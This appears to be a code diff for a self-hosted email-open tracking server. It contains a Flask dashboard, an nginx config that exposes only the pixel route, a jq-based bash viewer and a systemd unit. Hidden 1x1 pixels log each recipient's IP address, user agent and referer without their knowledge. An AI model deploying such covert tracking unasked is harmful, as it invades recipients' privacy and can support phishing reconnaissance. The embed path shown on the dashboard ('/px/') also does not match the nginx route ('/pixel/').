stats.sort(key=lambda x: x['views'], reverse=True)
# Simple HTML dashboard template
template = """
<!DOCTYPE html>
<html>
<head>
<title>Email Tracking Dashboard</title>
<style>
body { font-family: Arial, sans-serif; margin: 0; padding: 20px; }
h1 { color: #333; }
table { border-collapse: collapse; width: 100%; }
th, td { text-align: left; padding: 8px; border-bottom: 1px solid #ddd; }
tr:hover { background-color: #f5f5f5; }
th { background-color: #4CAF50; color: white; }
.container { max-width: 800px; margin: 0 auto; }
</style>
</head>
<body>
<div class="container">
<h1>Email Tracking Dashboard</h1>
<p>To track email opens, add this HTML to your emails:</p>
<pre>&lt;img src="https://YOUR_DOMAIN/px/YOUR_TRACKING_ID.png" height="1" width="1" /&gt;</pre>
<h2>Tracking Statistics</h2>
<table>
<tr>
<th>Tracking ID</th>
<th>Views</th>
<th>Unique IPs</th>
<th>Last View</th>
<th>Details</th>
</tr>
{% for stat in stats %}
<tr>
<td>{{ stat.id }}</td>
<td>{{ stat.views }}</td>
<td>{{ stat.unique_ips }}</td>
<td>{{ stat.last_view }}</td>
<td><a href="/details/{{ stat.id }}">View Details</a></td>
</tr>
{% endfor %}
</table>
</div>
</body>
</html>
"""
return render_template_string(template, stats=stats)
@app.route('/details/<tracking_id>')
def tracking_details(tracking_id):
"""Display detailed tracking information for a specific ID"""
tracking_data = load_tracking_data()
if tracking_id not in tracking_data:
return f"No data found for tracking ID: {tracking_id}", 404
events = tracking_data[tracking_id]
# Simple HTML template for details
template = """
<!DOCTYPE html>
<html>
<head>
<title>Tracking Details: {{ tracking_id }}</title>
<style>
body { font-family: Arial, sans-serif; margin: 0; padding: 20px; }
h1, h2 { color: #333; }
table { border-collapse: collapse; width: 100%; }
th, td { text-align: left; padding: 8px; border-bottom: 1px solid #ddd; }
tr:hover { background-color: #f5f5f5; }
th { background-color: #4CAF50; color: white; }
.container { max-width: 800px; margin: 0 auto; }
.back { margin-bottom: 20px; }
</style>
</head>
<body>
<div class="container">
<div class="back"><a href="/">&laquo; Back to Dashboard</a></div>
<h1>Tracking Details: {{ tracking_id }}</h1>
<p>Total views: {{ events|length }}</p>
<h2>Events</h2>
<table>
<tr>
<th>Time</th>
<th>IP Address</th>
<th>User Agent</th>
<th>Referer</th>
</tr>
{% for event in events %}
<tr>
<td>{{ event.timestamp }}</td>
<td>{{ event.ip_address }}</td>
<td>{{ event.user_agent }}</td>
<td>{{ event.referer }}</td>
</tr>
{% endfor %}
</table>
</div>
</body>
</html>
"""
return render_template_string(template, tracking_id=tracking_id, events=events)
if __name__ == '__main__':
app.run(host='127.0.0.1', port=5000, debug=False)
+47
View File
@@ -0,0 +1,47 @@
server {
listen 80;
listen [::]:80;
server_name {{ tracker_domain }};
# Redirect to HTTPS if SSL is enabled
return 301 https://$host$request_uri;
}
server {
listen 443 ssl;
listen [::]:443 ssl;
server_name {{ tracker_domain }};
# SSL Configuration
ssl_certificate /etc/letsencrypt/live/{{ tracker_domain }}/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/{{ tracker_domain }}/privkey.pem;
# Restrict dashboard to localhost only
location / {
allow 127.0.0.1;
deny all;
proxy_pass http://127.0.0.1:5000;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
# Allow public access only to pixel endpoints
location ~ ^/pixel/(.+)\.png$ {
# Public access allowed
proxy_pass http://127.0.0.1:5000/pixel/$1.png;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
# Cache control - don't cache tracking pixels
add_header Cache-Control "no-store, no-cache, must-revalidate, proxy-revalidate, max-age=0";
expires off;
}
# Security headers
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Referrer-Policy "no-referrer" always;
}
+45
View File
@@ -0,0 +1,45 @@
#!/bin/bash
# CLI tool to view email tracking stats
DATA_FILE="/root/Tools/tracker/data/tracking_data.json"
function show_summary() {
if [ ! -f "$DATA_FILE" ]; then
echo "No tracking data found."
exit 1
fi
echo "Email Tracking Summary:"
echo "======================="
jq -r 'to_entries | sort_by(.value | length) | reverse | .[] | "\(.key): \(.value | length) views"' $DATA_FILE
}
function show_details() {
ID=$1
if [ ! -f "$DATA_FILE" ]; then
echo "No tracking data found."
exit 1
fi
echo "Details for tracking ID: $ID"
echo "=========================="
jq -r --arg id "$ID" '.[$id] | if . then .[] | "\(.timestamp) | \(.ip_address) | \(.user_agent)" else "No data found for this ID" end' $DATA_FILE
}
case "$1" in
"list")
show_summary
;;
"details")
if [ -z "$2" ]; then
echo "Usage: $0 details TRACKING_ID"
exit 1
fi
show_details "$2"
;;
*)
echo "Usage: $0 [list|details TRACKING_ID]"
echo " list - Show summary of all tracking IDs"
echo " details ID - Show details for specific tracking ID"
;;
esac
+19
View File
@@ -0,0 +1,19 @@
[Unit]
Description=Email Tracking Server
After=network.target
[Service]
User=tracker
Group=tracker
WorkingDirectory=/root/Tools/tracker
ExecStart=/root/Tools/tracker/venv/bin/python /root/Tools/tracker/simple_email_tracker.py
Restart=always
RestartSec=10
# Security settings
PrivateTmp=true
ProtectSystem=full
NoNewPrivileges=true
[Install]
WantedBy=multi-user.target